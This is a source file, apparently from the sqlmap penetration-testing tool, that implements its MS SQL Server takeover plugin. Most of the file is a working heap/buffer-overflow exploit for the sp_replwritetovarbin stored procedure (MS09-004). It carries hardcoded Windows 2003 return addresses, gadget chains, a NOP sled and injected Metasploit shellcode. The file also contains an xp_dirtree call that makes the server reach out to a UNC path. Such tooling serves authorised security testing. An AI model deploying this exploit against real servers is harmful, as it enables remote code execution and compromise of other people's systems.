mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 09:36:35 +03:00
144 lines
6.3 KiB
Python
144 lines
6.3 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
|
|
See the file 'doc/COPYING' for copying permission
|
|
"""
|
|
|
|
import binascii
|
|
|
|
from lib.core.common import Backend
|
|
from lib.core.data import logger
|
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
|
from lib.request import inject
|
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
|
|
|
class Takeover(GenericTakeover):
|
|
def __init__(self):
|
|
self.spExploit = ""
|
|
|
|
GenericTakeover.__init__(self)
|
|
|
|
def uncPathRequest(self):
|
|
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
|
|
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
|
|
|
def spHeapOverflow(self):
|
|
"""
|
|
References:
|
|
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
|
|
* http://support.microsoft.com/kb/959420
|
|
"""
|
|
|
|
returns = {
|
|
# 2003 Service Pack 0
|
|
"2003-0": (""),
|
|
|
|
# 2003 Service Pack 1
|
|
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
|
|
|
|
# 2003 Service Pack 2 updated at 12/2008
|
|
#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
|
|
|
|
# 2003 Service Pack 2 updated at 05/2009
|
|
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"),
|
|
|
|
# 2003 Service Pack 2 updated at 09/2009
|
|
#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
|
|
}
|
|
addrs = None
|
|
|
|
for versionSp, data in returns.items():
|
|
version, sp = versionSp.split("-")
|
|
sp = int(sp)
|
|
|
|
if Backend.getOsVersion() == version and Backend.getOsServicePack() == sp:
|
|
addrs = data
|
|
|
|
break
|
|
|
|
if addrs is None:
|
|
errMsg = "sqlmap can not exploit the stored procedure buffer "
|
|
errMsg += "overflow because it does not have a valid return "
|
|
errMsg += "code for the underlying operating system (Windows "
|
|
errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack())
|
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
|
|
|
shellcodeChar = ""
|
|
hexStr = binascii.hexlify(self.shellcodeString[:-1])
|
|
|
|
for hexPair in xrange(0, len(hexStr), 2):
|
|
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair + 2]
|
|
|
|
shellcodeChar = shellcodeChar[:-1]
|
|
|
|
self.spExploit = """DECLARE @buf NVARCHAR(4000),
|
|
@val NVARCHAR(4),
|
|
@counter INT
|
|
SET @buf = '
|
|
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
|
|
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
|
SET @val = CHAR(0x41)
|
|
SET @counter = 0
|
|
WHILE @counter < 3320
|
|
BEGIN
|
|
SET @counter = @counter + 1
|
|
IF @counter = 411
|
|
BEGIN
|
|
/* pointer to call [ecx+8] */
|
|
SET @buf = @buf + %s
|
|
|
|
/* push ebp, pop esp, ret 4 */
|
|
SET @buf = @buf + %s
|
|
|
|
/* push ecx, pop esp, pop ebp, retn 8 */
|
|
SET @buf = @buf + %s
|
|
|
|
/* Garbage */
|
|
SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
|
|
|
|
/* retn 1c */
|
|
SET @buf = @buf + %s
|
|
|
|
/* retn 1c */
|
|
SET @buf = @buf + %s
|
|
|
|
/* anti DEP */
|
|
SET @buf = @buf + %s
|
|
|
|
/* jmp esp */
|
|
SET @buf = @buf + %s
|
|
|
|
/* jmp esp */
|
|
SET @buf = @buf + %s
|
|
|
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
|
|
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
|
|
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
|
|
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
|
|
|
|
/* Metasploit shellcode */
|
|
SET @buf = @buf + %s
|
|
|
|
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
|
|
SET @counter = @counter + 302
|
|
SET @val = CHAR(0x43)
|
|
CONTINUE
|
|
END
|
|
SET @buf = @buf + @val
|
|
END
|
|
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
|
|
EXEC master..sp_executesql @buf
|
|
""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
|
|
|
|
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
|
|
|
|
logger.info("triggering the buffer overflow vulnerability, please wait..")
|
|
inject.goStacked(self.spExploit, silent=True)
|